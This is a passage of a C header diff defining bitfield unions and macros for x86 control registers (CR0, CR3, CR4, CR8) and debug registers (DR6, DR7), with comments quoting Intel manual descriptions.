SSE/SSE2/SSE3/SSSE3/SSE4 extensions, when the EM flag is set, execution of + * most SSE/SSE2/SSE3/SSSE3/SSE4 instructions causes an invalid opcode exception (\#UD) to be generated. If an IA-32 or + * Intel 64 processor incorporates the SSE/SSE2/SSE3/SSSE3/SSE4 extensions, the EM flag must be set to 0 to enable + * execution of these extensions. SSE/SSE2/SSE3/SSSE3/SSE4 instructions not affected by the EM flag include: PAUSE, + * PREFETCHh, SFENCE, LFENCE, MFENCE, MOVNTI, CLFLUSH, CRC32, and POPCNT. + */ + uint64_t emulate_fpu : 1; +#define CR0_EMULATE_FPU_BIT 2 +#define CR0_EMULATE_FPU_FLAG 0x04 +#define CR0_EMULATE_FPU_MASK 0x01 +#define CR0_EMULATE_FPU(_) (((_) >> 2) & 0x01) + + /** + * @brief Task Switched + * + * [Bit 3] Allows the saving of the x87 FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 context on a task switch to be delayed until an + * x87 FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 instruction is actually executed by the new task. The processor sets this flag on + * every task switch and tests it when executing x87 FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 instructions. + * - If the TS flag is set and the EM flag (bit 2 of CR0) is clear, a device-not-available exception (\#NM) is raised prior + * to the execution of any x87 FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 instruction; with the exception of PAUSE, PREFETCHh, + * SFENCE, LFENCE, MFENCE, MOVNTI, CLFLUSH, CRC32, and POPCNT. + * - If the TS flag is set and the MP flag (bit 1 of CR0) and EM flag are clear, an \#NM exception is not raised prior to + * the execution of an x87 FPU WAIT/FWAIT instruction. + * - If the EM flag is set, the setting of the TS flag has no effect on the execution of x87 + * FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 instructions. + * The processor does not automatically save the context of the x87 FPU, XMM, and MXCSR registers on a task switch. + * Instead, it sets the TS flag, which causes the processor to raise an \#NM exception whenever it encounters an x87 + * FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 instruction in the instruction stream for the new task (with the exception of the + * instructions listed above). + * The fault handler for the \#NM exception can then be used to clear the TS flag (with the CLTS instruction) and save + * the context of the x87 FPU, XMM, and MXCSR registers. If the task never encounters an x87 + * FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 instruction, the x87 FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 context is never saved. + */ + uint64_t task_switched : 1; +#define CR0_TASK_SWITCHED_BIT 3 +#define CR0_TASK_SWITCHED_FLAG 0x08 +#define CR0_TASK_SWITCHED_MASK 0x01 +#define CR0_TASK_SWITCHED(_) (((_) >> 3) & 0x01) + + /** + * @brief Extension Type + * + * [Bit 4] Reserved in the Pentium 4, Intel Xeon, P6 family, and Pentium processors. In the Pentium 4, Intel Xeon, and P6 + * family processors, this flag is hardcoded to 1. In the Intel386 and Intel486 processors, this flag indicates support of + * Intel 387 DX math coprocessor instructions when set. + */ + uint64_t extension_type : 1; +#define CR0_EXTENSION_TYPE_BIT 4 +#define CR0_EXTENSION_TYPE_FLAG 0x10 +#define CR0_EXTENSION_TYPE_MASK 0x01 +#define CR0_EXTENSION_TYPE(_) (((_) >> 4) & 0x01) + + /** + * @brief Numeric Error + * + * [Bit 5] Enables the native (internal) mechanism for reporting x87 FPU errors when set; enables the PC-style x87 FPU + * error reporting mechanism when clear. When the NE flag is clear and the IGNNE\# input is asserted, x87 FPU errors are + * ignored. When the NE flag is clear and the IGNNE\# input is deasserted, an unmasked x87 FPU error causes the processor + * to assert the FERR\# pin to generate an external interrupt and to stop instruction execution immediately before + * executing the next waiting floating-point instruction or WAIT/FWAIT instruction. + * The FERR\# pin is intended to drive an input to an external interrupt controller (the FERR\# pin emulates the ERROR\# + * pin of the Intel 287 and Intel 387 DX math coprocessors). The NE flag, IGNNE\# pin, and FERR\# pin are used with + * external logic to implement PC-style error reporting. Using FERR\# and IGNNE\# to handle floating-point exceptions is + * deprecated by modern operating systems; this non-native approach also limits newer processors to operate with one + * logical processor active. + * + * @see Vol1[8.7(Handling x87 FPU Exceptions in Software)] + * @see Vol1[A.1(APPENDIX A | EFLAGS Cross-Reference)] + */ + uint64_t numeric_error : 1; +#define CR0_NUMERIC_ERROR_BIT 5 +#define CR0_NUMERIC_ERROR_FLAG 0x20 +#define CR0_NUMERIC_ERROR_MASK 0x01 +#define CR0_NUMERIC_ERROR(_) (((_) >> 5) & 0x01) + uint64_t reserved1 : 10; + + /** + * @brief Write Protect + * + * [Bit 16] When set, inhibits supervisor-level procedures from writing into readonly pages; when clear, allows + * supervisor-level procedures to write into read-only pages (regardless of the U/S bit setting). This flag facilitates + * implementation of the copy-onwrite method of creating a new process (forking) used by operating systems such as UNIX. + * + * @see Vol3A[4.1.3(Paging-Mode Modifiers)] + * @see Vol3A[4.6(ACCESS RIGHTS)] + */ + uint64_t write_protect : 1; +#define CR0_WRITE_PROTECT_BIT 16 +#define CR0_WRITE_PROTECT_FLAG 0x10000 +#define CR0_WRITE_PROTECT_MASK 0x01 +#define CR0_WRITE_PROTECT(_) (((_) >> 16) & 0x01) + uint64_t reserved2 : 1; + + /** + * @brief Alignment Mask + * + * [Bit 18] Enables automatic alignment checking when set; disables alignment checking when clear. Alignment checking is + * performed only when the AM flag is set, the AC flag in the EFLAGS register is set, CPL is 3, and the processor is + * operating in either protected or virtual-8086 mode. + */ + uint64_t alignment_mask : 1; +#define CR0_ALIGNMENT_MASK_BIT 18 +#define CR0_ALIGNMENT_MASK_FLAG 0x40000 +#define CR0_ALIGNMENT_MASK_MASK 0x01 +#define CR0_ALIGNMENT_MASK(_) (((_) >> 18) & 0x01) + uint64_t reserved3 : 10; + + /** + * @brief Not Write-through + * + * [Bit 29] When the NW and CD flags are clear, write-back (for Pentium 4, Intel Xeon, P6 family, and Pentium processors) + * or write-through (for Intel486 processors) is enabled for writes that hit the cache and invalidation cycles are enabled. + */ + uint64_t not_write_through : 1; +#define CR0_NOT_WRITE_THROUGH_BIT 29 +#define CR0_NOT_WRITE_THROUGH_FLAG 0x20000000 +#define CR0_NOT_WRITE_THROUGH_MASK 0x01 +#define CR0_NOT_WRITE_THROUGH(_) (((_) >> 29) & 0x01) + + /** + * @brief Cache Disable + * + * [Bit 30] When the CD and NW flags are clear, caching of memory locations for the whole of physical memory in the + * processor's internal (and external) caches is enabled. When the CD flag is set, caching is restricted. To prevent the + * processor from accessing and updating its caches, the CD flag must be set and the caches must be invalidated so that no + * cache hits can occur. + * + * @see Vol3A[11.5.3(Preventing Caching)] + * @see Vol3A[11.5(CACHE CONTROL)] + */ + uint64_t cache_disable : 1; +#define CR0_CACHE_DISABLE_BIT 30 +#define CR0_CACHE_DISABLE_FLAG 0x40000000 +#define CR0_CACHE_DISABLE_MASK 0x01 +#define CR0_CACHE_DISABLE(_) (((_) >> 30) & 0x01) + + /** + * @brief Paging Enable + * + * [Bit 31] Enables paging when set; disables paging when clear. When paging is disabled, all linear addresses are treated + * as physical addresses. The PG flag has no effect if the PE flag (bit 0 of register CR0) is not also set; setting the PG + * flag when the PE flag is clear causes a general-protection exception (\#GP). + * On Intel 64 processors, enabling and disabling IA-32e mode operation also requires modifying CR0.PG. + * + * @see Vol3A[4(PAGING)] + */ + uint64_t paging_enable : 1; +#define CR0_PAGING_ENABLE_BIT 31 +#define CR0_PAGING_ENABLE_FLAG 0x80000000 +#define CR0_PAGING_ENABLE_MASK 0x01 +#define CR0_PAGING_ENABLE(_) (((_) >> 31) & 0x01) + uint64_t reserved4 : 32; + }; + + uint64_t flags; +} cr0; + +typedef union +{ + struct + { + uint64_t reserved1 : 3; + + /** + * @brief Page-level Write-Through + * + * [Bit 3] Controls the memory type used to access the first paging structure of the current paging-structure hierarchy. + * This bit is not used if paging is disabled, with PAE paging, or with 4-level paging if CR4.PCIDE=1. + * + * @see Vol3A[4.9(PAGING AND MEMORY TYPING)] + */ + uint64_t page_level_write_through : 1; +#define CR3_PAGE_LEVEL_WRITE_THROUGH_BIT 3 +#define CR3_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 +#define CR3_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 +#define CR3_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) + + /** + * @brief Page-level Cache Disable + * + * [Bit 4] Controls the memory type used to access the first paging structure of the current paging-structure hierarchy. + * This bit is not used if paging is disabled, with PAE paging, or with 4-level paging2 if CR4.PCIDE=1. + * + * @see Vol3A[4.9(PAGING AND MEMORY TYPING)] + */ + uint64_t page_level_cache_disable : 1; +#define CR3_PAGE_LEVEL_CACHE_DISABLE_BIT 4 +#define CR3_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 +#define CR3_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 +#define CR3_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) + uint64_t reserved2 : 7; + + /** + * @brief Address of page directory + * + * [Bits 47:12] Physical address of the 4-KByte aligned page directory (32-bit paging) or PML4 table (64-bit paging) used + * for linear-address translation. + * + * @see Vol3A[4.3(32-BIT PAGING)] + * @see Vol3A[4.5(4-LEVEL PAGING)] + */ + uint64_t address_of_page_directory : 36; +#define CR3_ADDRESS_OF_PAGE_DIRECTORY_BIT 12 +#define CR3_ADDRESS_OF_PAGE_DIRECTORY_FLAG 0xFFFFFFFFF000 +#define CR3_ADDRESS_OF_PAGE_DIRECTORY_MASK 0xFFFFFFFFF +#define CR3_ADDRESS_OF_PAGE_DIRECTORY(_) (((_) >> 12) & 0xFFFFFFFFF) + uint64_t reserved3 : 16; + }; + + uint64_t flags; +} cr3; + +typedef union +{ + struct + { + /** + * @brief Virtual-8086 Mode Extensions + * + * [Bit 0] Enables interrupt- and exception-handling extensions in virtual-8086 mode when set; disables the extensions when + * clear. Use of the virtual mode extensions can improve the performance of virtual-8086 applications by eliminating the + * overhead of calling the virtual- 8086 monitor to handle interrupts and exceptions that occur while executing an 8086 + * program and, instead, redirecting the interrupts and exceptions back to the 8086 program's handlers. It also provides + * hardware support for a virtual interrupt flag (VIF) to improve reliability of running 8086 programs in multitasking and + * multiple-processor environments. + * + * @see Vol3B[20.3(INTERRUPT AND EXCEPTION HANDLING IN VIRTUAL-8086 MODE)] + */ + uint64_t virtual_mode_extensions : 1; +#define CR4_VIRTUAL_MODE_EXTENSIONS_BIT 0 +#define CR4_VIRTUAL_MODE_EXTENSIONS_FLAG 0x01 +#define CR4_VIRTUAL_MODE_EXTENSIONS_MASK 0x01 +#define CR4_VIRTUAL_MODE_EXTENSIONS(_) (((_) >> 0) & 0x01) + + /** + * @brief Protected-Mode Virtual Interrupts + * + * [Bit 1] Enables hardware support for a virtual interrupt flag (VIF) in protected mode when set; disables the VIF flag in + * protected mode when clear. + * + * @see Vol3B[20.4(PROTECTED-MODE VIRTUAL INTERRUPTS)] + */ + uint64_t protected_mode_virtual_interrupts : 1; +#define CR4_PROTECTED_MODE_VIRTUAL_INTERRUPTS_BIT 1 +#define CR4_PROTECTED_MODE_VIRTUAL_INTERRUPTS_FLAG 0x02 +#define CR4_PROTECTED_MODE_VIRTUAL_INTERRUPTS_MASK 0x01 +#define CR4_PROTECTED_MODE_VIRTUAL_INTERRUPTS(_) (((_) >> 1) & 0x01) + + /** + * @brief Time Stamp Disable + * + * [Bit 2] Restricts the execution of the RDTSC instruction to procedures running at privilege level 0 when set; allows + * RDTSC instruction to be executed at any privilege level when clear. This bit also applies to the RDTSCP instruction if + * supported (if CPUID.80000001H:EDX[27] = 1). + */ + uint64_t timestamp_disable : 1; +#define CR4_TIMESTAMP_DISABLE_BIT 2 +#define CR4_TIMESTAMP_DISABLE_FLAG 0x04 +#define CR4_TIMESTAMP_DISABLE_MASK 0x01 +#define CR4_TIMESTAMP_DISABLE(_) (((_) >> 2) & 0x01) + + /** + * @brief Debugging Extensions + * + * [Bit 3] References to debug registers DR4 and DR5 cause an undefined opcode (\#UD) exception to be generated when set; + * when clear, processor aliases references to registers DR4 and DR5 for compatibility with software written to run on + * earlier IA-32 processors. + * + * @see Vol3B[17.2.2(Debug Registers DR4 and DR5)] + */ + uint64_t debugging_extensions : 1; +#define CR4_DEBUGGING_EXTENSIONS_BIT 3 +#define CR4_DEBUGGING_EXTENSIONS_FLAG 0x08 +#define CR4_DEBUGGING_EXTENSIONS_MASK 0x01 +#define CR4_DEBUGGING_EXTENSIONS(_) (((_) >> 3) & 0x01) + + /** + * @brief Page Size Extensions + * + * [Bit 4] Enables 4-MByte pages with 32-bit paging when set; restricts 32-bit paging to pages of 4 KBytes when clear. + * + * @see Vol3A[4.3(32-BIT PAGING)] + */ + uint64_t page_size_extensions : 1; +#define CR4_PAGE_SIZE_EXTENSIONS_BIT 4 +#define CR4_PAGE_SIZE_EXTENSIONS_FLAG 0x10 +#define CR4_PAGE_SIZE_EXTENSIONS_MASK 0x01 +#define CR4_PAGE_SIZE_EXTENSIONS(_) (((_) >> 4) & 0x01) + + /** + * @brief Physical Address Extension + * + * [Bit 5] When set, enables paging to produce physical addresses with more than 32 bits. When clear, restricts physical + * addresses to 32 bits. PAE must be set before entering IA-32e mode. + * + * @see Vol3A[4(PAGING)] + */ + uint64_t physical_address_extension : 1; +#define CR4_PHYSICAL_ADDRESS_EXTENSION_BIT 5 +#define CR4_PHYSICAL_ADDRESS_EXTENSION_FLAG 0x20 +#define CR4_PHYSICAL_ADDRESS_EXTENSION_MASK 0x01 +#define CR4_PHYSICAL_ADDRESS_EXTENSION(_) (((_) >> 5) & 0x01) + + /** + * @brief Machine-Check Enable + * + * [Bit 6] Enables the machine-check exception when set; disables the machine-check exception when clear. + * + * @see Vol3B[15(MACHINE-CHECK ARCHITECTURE)] + */ + uint64_t machine_check_enable : 1; +#define CR4_MACHINE_CHECK_ENABLE_BIT 6 +#define CR4_MACHINE_CHECK_ENABLE_FLAG 0x40 +#define CR4_MACHINE_CHECK_ENABLE_MASK 0x01 +#define CR4_MACHINE_CHECK_ENABLE(_) (((_) >> 6) & 0x01) + + /** + * @brief Page Global Enable + * + * [Bit 7] (Introduced in the P6 family processors.) Enables the global page feature when set; disables the global page + * feature when clear. The global page feature allows frequently used or shared pages to be marked as global to all users + * (done with the global flag, bit 8, in a page-directory or page-table entry). Global pages are not flushed from the + * translation-lookaside buffer (TLB) on a task switch or a write to register CR3. When enabling the global page feature, + * paging must be enabled (by setting the PG flag in control register CR0) before the PGE flag is set. Reversing this + * sequence may affect program correctness, and processor performance will be impacted. + * + * @see Vol3A[4.10(CACHING TRANSLATION INFORMATION)] + */ + uint64_t page_global_enable : 1; +#define CR4_PAGE_GLOBAL_ENABLE_BIT 7 +#define CR4_PAGE_GLOBAL_ENABLE_FLAG 0x80 +#define CR4_PAGE_GLOBAL_ENABLE_MASK 0x01 +#define CR4_PAGE_GLOBAL_ENABLE(_) (((_) >> 7) & 0x01) + + /** + * @brief Performance-Monitoring Counter Enable + * + * [Bit 8] Enables execution of the RDPMC instruction for programs or procedures running at any protection level when set; + * RDPMC instruction can be executed only at protection level 0 when clear. + */ + uint64_t performance_monitoring_counter_enable : 1; +#define CR4_PERFORMANCE_MONITORING_COUNTER_ENABLE_BIT 8 +#define CR4_PERFORMANCE_MONITORING_COUNTER_ENABLE_FLAG 0x100 +#define CR4_PERFORMANCE_MONITORING_COUNTER_ENABLE_MASK 0x01 +#define CR4_PERFORMANCE_MONITORING_COUNTER_ENABLE(_) (((_) >> 8) & 0x01) + + /** + * @brief Operating System Support for FXSAVE and FXRSTOR instructions + * + * [Bit 9] When set, this flag: + * -# indicates to software that the operating system supports the use of the FXSAVE and FXRSTOR instructions, + * -# enables the FXSAVE and FXRSTOR instructions to save and restore the contents of the XMM and MXCSR registers along + * with the contents of the x87 FPU and MMX registers, and + * -# enables the processor to execute SSE/SSE2/SSE3/SSSE3/SSE4 instructions, with the exception of the PAUSE, PREFETCHh, + * SFENCE, LFENCE, MFENCE, MOVNTI, CLFLUSH, CRC32, and POPCNT. + * If this flag is clear, the FXSAVE and FXRSTOR instructions will save and restore the contents of the x87 FPU and MMX + * registers, but they may not save and restore the contents of the XMM and MXCSR registers. Also, the processor will + * generate an invalid opcode exception (\#UD) if it attempts to execute any SSE/SSE2/SSE3 instruction, with the exception + * of PAUSE, PREFETCHh, SFENCE, LFENCE, MFENCE, MOVNTI, CLFLUSH, CRC32, and POPCNT. The operating system or executive must + * explicitly set this flag. + * + * @remarks CPUID feature flag FXSR indicates availability of the FXSAVE/FXRSTOR instructions. The OSFXSR bit provides + * operating system software with a means of enabling FXSAVE/FXRSTOR to save/restore the contents of the X87 FPU, XMM and + * MXCSR registers. Consequently OSFXSR bit indicates that the operating system provides context switch support for + * SSE/SSE2/SSE3/SSSE3/SSE4. + */ + uint64_t os_fxsave_fxrstor_support : 1; +#define CR4_OS_FXSAVE_FXRSTOR_SUPPORT_BIT 9 +#define CR4_OS_FXSAVE_FXRSTOR_SUPPORT_FLAG 0x200 +#define CR4_OS_FXSAVE_FXRSTOR_SUPPORT_MASK 0x01 +#define CR4_OS_FXSAVE_FXRSTOR_SUPPORT(_) (((_) >> 9) & 0x01) + + /** + * @brief Operating System Support for Unmasked SIMD Floating-Point Exceptions + * + * [Bit 10] Operating System Support for Unmasked SIMD Floating-Point Exceptions - When set, indicates that the operating + * system supports the handling of unmasked SIMD floating-point exceptions through an exception handler that is invoked + * when a SIMD floating-point exception (\#XM) is generated. SIMD floating-point exceptions are only generated by + * SSE/SSE2/SSE3/SSE4.1 SIMD floatingpoint instructions. + * The operating system or executive must explicitly set this flag. If this flag is not set, the processor will generate an + * invalid opcode exception (\#UD) whenever it detects an unmasked SIMD floating-point exception. + */ + uint64_t os_xmm_exception_support : 1; +#define CR4_OS_XMM_EXCEPTION_SUPPORT_BIT 10 +#define CR4_OS_XMM_EXCEPTION_SUPPORT_FLAG 0x400 +#define CR4_OS_XMM_EXCEPTION_SUPPORT_MASK 0x01 +#define CR4_OS_XMM_EXCEPTION_SUPPORT(_) (((_) >> 10) & 0x01) + + /** + * @brief User-Mode Instruction Prevention + * + * [Bit 11] When set, the following instructions cannot be executed if CPL > 0: SGDT, SIDT, SLDT, SMSW, and STR. An attempt + * at such execution causes a generalprotection exception (\#GP). + */ + uint64_t usermode_instruction_prevention : 1; +#define CR4_USERMODE_INSTRUCTION_PREVENTION_BIT 11 +#define CR4_USERMODE_INSTRUCTION_PREVENTION_FLAG 0x800 +#define CR4_USERMODE_INSTRUCTION_PREVENTION_MASK 0x01 +#define CR4_USERMODE_INSTRUCTION_PREVENTION(_) (((_) >> 11) & 0x01) + uint64_t reserved1 : 1; + + /** + * @brief VMX-Enable + * + * [Bit 13] Enables VMX operation when set. + * + * @see Vol3C[23(INTRODUCTION TO VIRTUAL MACHINE EXTENSIONS)] + */ + uint64_t vmx_enable : 1; +#define CR4_VMX_ENABLE_BIT 13 +#define CR4_VMX_ENABLE_FLAG 0x2000 +#define CR4_VMX_ENABLE_MASK 0x01 +#define CR4_VMX_ENABLE(_) (((_) >> 13) & 0x01) + + /** + * @brief SMX-Enable + * + * [Bit 14] Enables SMX operation when set. + * + * @see Vol2[6(SAFER MODE EXTENSIONS REFERENCE)] + */ + uint64_t smx_enable : 1; +#define CR4_SMX_ENABLE_BIT 14 +#define CR4_SMX_ENABLE_FLAG 0x4000 +#define CR4_SMX_ENABLE_MASK 0x01 +#define CR4_SMX_ENABLE(_) (((_) >> 14) & 0x01) + uint64_t reserved2 : 1; + + /** + * @brief FSGSBASE-Enable + * + * [Bit 16] Enables the instructions RDFSBASE, RDGSBASE, WRFSBASE, and WRGSBASE. + */ + uint64_t fsgsbase_enable : 1; +#define CR4_FSGSBASE_ENABLE_BIT 16 +#define CR4_FSGSBASE_ENABLE_FLAG 0x10000 +#define CR4_FSGSBASE_ENABLE_MASK 0x01 +#define CR4_FSGSBASE_ENABLE(_) (((_) >> 16) & 0x01) + + /** + * @brief PCID-Enable + * + * [Bit 17] Enables process-context identifiers (PCIDs) when set. Can be set only in IA-32e mode (if IA32_EFER.LMA = 1). + * + * @see Vol3A[4.10.1(Process-Context Identifiers (PCIDs))] + */ + uint64_t pcid_enable : 1; +#define CR4_PCID_ENABLE_BIT 17 +#define CR4_PCID_ENABLE_FLAG 0x20000 +#define CR4_PCID_ENABLE_MASK 0x01 +#define CR4_PCID_ENABLE(_) (((_) >> 17) & 0x01) + + /** + * @brief XSAVE and Processor Extended States-Enable + * + * [Bit 18] When set, this flag: + * -# indicates (via CPUID.01H:ECX.OSXSAVE[bit 27]) that the operating system supports the use of the XGETBV, XSAVE and + * XRSTOR instructions by general software; + * -# enables the XSAVE and XRSTOR instructions to save and restore the x87 FPU state (including MMX registers), the SSE + * state (XMM registers and MXCSR), along with other processor extended states enabled in XCR0; + * -# enables the processor to execute XGETBV and XSETBV instructions in order to read and write XCR0. + * + * @see Vol3A[2.6(EXTENDED CONTROL REGISTERS (INCLUDING XCR0))] + * @see Vol3A[13(SYSTEM PROGRAMMING FOR INSTRUCTION SET EXTENSIONS AND PROCESSOR EXTENDED)] + */ + uint64_t os_xsave : 1; +#define CR4_OS_XSAVE_BIT 18 +#define CR4_OS_XSAVE_FLAG 0x40000 +#define CR4_OS_XSAVE_MASK 0x01 +#define CR4_OS_XSAVE(_) (((_) >> 18) & 0x01) + uint64_t reserved3 : 1; + + /** + * @brief SMEP-Enable + * + * [Bit 20] Enables supervisor-mode execution prevention (SMEP) when set. + * + * @see Vol3A[4.6(ACCESS RIGHTS)] + */ + uint64_t smep_enable : 1; +#define CR4_SMEP_ENABLE_BIT 20 +#define CR4_SMEP_ENABLE_FLAG 0x100000 +#define CR4_SMEP_ENABLE_MASK 0x01 +#define CR4_SMEP_ENABLE(_) (((_) >> 20) & 0x01) + + /** + * @brief SMAP-Enable + * + * [Bit 21] Enables supervisor-mode access prevention (SMAP) when set. + * + * @see Vol3A[4.6(ACCESS RIGHTS)] + */ + uint64_t smap_enable : 1; +#define CR4_SMAP_ENABLE_BIT 21 +#define CR4_SMAP_ENABLE_FLAG 0x200000 +#define CR4_SMAP_ENABLE_MASK 0x01 +#define CR4_SMAP_ENABLE(_) (((_) >> 21) & 0x01) + + /** + * @brief Protection-Key-Enable + * + * [Bit 22] Enables 4-level paging to associate each linear address with a protection key. The PKRU register specifies, for + * each protection key, whether user-mode linear addresses with that protection key can be read or written. This bit also + * enables access to the PKRU register using the RDPKRU and WRPKRU instructions. + */ + uint64_t protection_key_enable : 1; +#define CR4_PROTECTION_KEY_ENABLE_BIT 22 +#define CR4_PROTECTION_KEY_ENABLE_FLAG 0x400000 +#define CR4_PROTECTION_KEY_ENABLE_MASK 0x01 +#define CR4_PROTECTION_KEY_ENABLE(_) (((_) >> 22) & 0x01) + uint64_t reserved4 : 41; + }; + + uint64_t flags; +} cr4; + +typedef union +{ + struct + { + /** + * @brief Task Priority Level + * + * [Bits 3:0] This sets the threshold value corresponding to the highestpriority interrupt to be blocked. A value of 0 + * means all interrupts are enabled. This field is available in 64- bit mode. A value of 15 means all interrupts will be + * disabled. + */ + uint64_t task_priority_level : 4; +#define CR8_TASK_PRIORITY_LEVEL_BIT 0 +#define CR8_TASK_PRIORITY_LEVEL_FLAG 0x0F +#define CR8_TASK_PRIORITY_LEVEL_MASK 0x0F +#define CR8_TASK_PRIORITY_LEVEL(_) (((_) >> 0) & 0x0F) + + /** + * @brief Reserved + * + * [Bits 63:4] Reserved and must be written with zeros. Failure to do this causes a general-protection exception. + */ + uint64_t reserved : 60; +#define CR8_RESERVED_BIT 4 +#define CR8_RESERVED_FLAG 0xFFFFFFFFFFFFFFF0 +#define CR8_RESERVED_MASK 0xFFFFFFFFFFFFFFF +#define CR8_RESERVED(_) (((_) >> 4) & 0xFFFFFFFFFFFFFFF) + }; + + uint64_t flags; +} cr8; + +/** + * @} + */ + + /** + * @defgroup debug_registers \ + * Debug registers + * + * Eight debug registers control the debug operation of the processor. These registers can be written to and read using the + * move to/from debug register form of the MOV instruction. A debug register may be the source or destination operand for + * one of these instructions. + * Debug registers are privileged resources; a MOV instruction that accesses these registers can only be executed in + * real-address mode, in SMM or in protected mode at a CPL of 0. An attempt to read or write the debug registers from any + * other privilege level generates a general-protection exception (\#GP). The primary function of the debug registers is to + * set up and monitor from 1 to 4 breakpoints, numbered 0 though 3. For each breakpoint, the following information can be + * specified: + * - The linear address where the breakpoint is to occur. + * - The length of the breakpoint location: 1, 2, 4, or 8 bytes. + * - The operation that must be performed at the address for a debug exception to be generated. + * - Whether the breakpoint is enabled. + * - Whether the breakpoint condition was present when the debug exception was generated. + * + * @see Vol3B[17.2.4(Debug Control Register (DR7))] + * @see Vol3B[17.2(DEBUG REGISTERS)] (reference) + * @{ + */ +typedef union +{ + struct + { + /** + * @brief B0 through B3 (breakpoint condition detected) flags + * + * [Bits 3:0] Indicates (when set) that its associated breakpoint condition was met when a debug exception was generated. + * These flags are set if the condition described for each breakpoint by the LENn, and R/Wn flags in debug control register + * DR7 is true. They may or may not be set if the breakpoint is not enabled by the Ln or the Gn flags in register DR7. + * Therefore on a \#DB, a debug handler should check only those B0-B3 bits which correspond to an enabled breakpoint. + */ + uint64_t breakpoint_condition : 4; +#define DR6_BREAKPOINT_CONDITION_BIT 0 +#define DR6_BREAKPOINT_CONDITION_FLAG 0x0F +#define DR6_BREAKPOINT_CONDITION_MASK 0x0F +#define DR6_BREAKPOINT_CONDITION(_) (((_) >> 0) & 0x0F) + uint64_t reserved1 : 9; + + /** + * @brief BD (debug register access detected) flag + * + * [Bit 13] Indicates that the next instruction in the instruction stream accesses one of the debug registers (DR0 through + * DR7). This flag is enabled when the GD (general detect) flag in debug control register DR7 is set. + * + * @see Vol3B[17.2.4(Debug Control Register (DR7))] + */ + uint64_t debug_register_access_detected : 1; +#define DR6_DEBUG_REGISTER_ACCESS_DETECTED_BIT 13 +#define DR6_DEBUG_REGISTER_ACCESS_DETECTED_FLAG 0x2000 +#define DR6_DEBUG_REGISTER_ACCESS_DETECTED_MASK 0x01 +#define DR6_DEBUG_REGISTER_ACCESS_DETECTED(_) (((_) >> 13) & 0x01) + + /** + * @brief BS (single step) flag + * + * [Bit 14] Indicates (when set) that the debug exception was triggered by the singlestep execution mode (enabled with the + * TF flag in the EFLAGS register). The single-step mode is the highestpriority debug exception. When the BS flag is set, + * any of the other debug status bits also may be set. + */ + uint64_t single_instruction : 1; +#define DR6_SINGLE_INSTRUCTION_BIT 14 +#define DR6_SINGLE_INSTRUCTION_FLAG 0x4000 +#define DR6_SINGLE_INSTRUCTION_MASK 0x01 +#define DR6_SINGLE_INSTRUCTION(_) (((_) >> 14) & 0x01) + + /** + * @brief BT (task switch) flag + * + * [Bit 15] Indicates (when set) that the debug exception was triggered by the singlestep execution mode (enabled with the + * TF flag in the EFLAGS register). The single-step mode is the highestpriority debug exception. When the BS flag is set, + * any of the other debug status bits also may be set. + */ + uint64_t task_switch : 1; +#define DR6_TASK_SWITCH_BIT 15 +#define DR6_TASK_SWITCH_FLAG 0x8000 +#define DR6_TASK_SWITCH_MASK 0x01 +#define DR6_TASK_SWITCH(_) (((_) >> 15) & 0x01) + + /** + * @brief RTM (restricted transactional memory) flag + * + * [Bit 16] Indicates (when clear) that a debug exception (\#DB) or breakpoint exception (\#BP) occurred inside an RTM + * region while advanced debugging of RTM transactional regions was enabled. This bit is set for any other debug exception + * (including all those that occur when advanced debugging of RTM transactional regions is not enabled). This bit is always + * 1 if the processor does not support RTM. + * + * @see Vol3B[17.3.3(Debug Exceptions, Breakpoint Exceptions, and Restricted Transactional Memory (RTM))] + */ + uint64_t restricted_transactional_memory : 1; +#define DR6_RESTRICTED_TRANSACTIONAL_MEMORY_BIT 16 +#define DR6_RESTRICTED_TRANSACTIONAL_MEMORY_FLAG 0x10000 +#define DR6_RESTRICTED_TRANSACTIONAL_MEMORY_MASK 0x01 +#define DR6_RESTRICTED_TRANSACTIONAL_MEMORY(_) (((_) >> 16) & 0x01) + uint64_t reserved2 : 47; + }; + + uint64_t flags; +} dr6; + +typedef union +{ + struct + { + /** + * @brief L0 through L3 (local breakpoint enable) flags (bits 0, 2, 4, and 6) + * + * [Bit 0] Enables (when set) the breakpoint condition for the associated breakpoint for the current task. When a + * breakpoint condition is detected and its associated Ln flag is set, a debug exception is generated. The processor + * automatically clears these flags on every task switch to avoid unwanted breakpoint conditions in the new task. + */ + uint64_t local_breakpoint_0 : 1; +#define DR7_LOCAL_BREAKPOINT_0_BIT 0 +#define DR7_LOCAL_BREAKPOINT_0_FLAG 0x01 +#define DR7_LOCAL_BREAKPOINT_0_MASK 0x01 +#define DR7_LOCAL_BREAKPOINT_0(_) (((_) >> 0) & 0x01) + + /** + * @brief G0 through G3 (global breakpoint enable) flags (bits 1, 3, 5, and 7) + * + * [Bit 1] Enables (when set) the breakpoint condition for the associated breakpoint for all tasks. When a breakpoint + * condition is detected and its associated Gn flag is set, a debug exception is generated. The processor does not clear + * these flags on a task switch, allowing a breakpoint to be enabled for all tasks. + */ + uint64_t global_breakpoint_0 : 1; +#define DR7_GLOBAL_BREAKPOINT_0_BIT 1 +#define DR7_GLOBAL_BREAKPOINT_0_FLAG 0x02 +#define DR7_GLOBAL_BREAKPOINT_0_MASK 0x01 +#define DR7_GLOBAL_BREAKPOINT_0(_) (((_) >> 1) & 0x01) + uint64_t local_breakpoint_1 : 1; +#define DR7_LOCAL_BREAKPOINT_1_BIT 2 +#define DR7_LOCAL_BREAKPOINT_1_FLAG 0x04 +#define DR7_LOCAL_BREAKPOINT_1_MASK 0x01 +#define DR7_LOCAL_BREAKPOINT_1(_) (((_) >> 2) & 0x01) + uint64_t global_breakpoint_1 : 1; +#define DR7_GLOBAL_BREAKPOINT_1_BIT 3 +#define 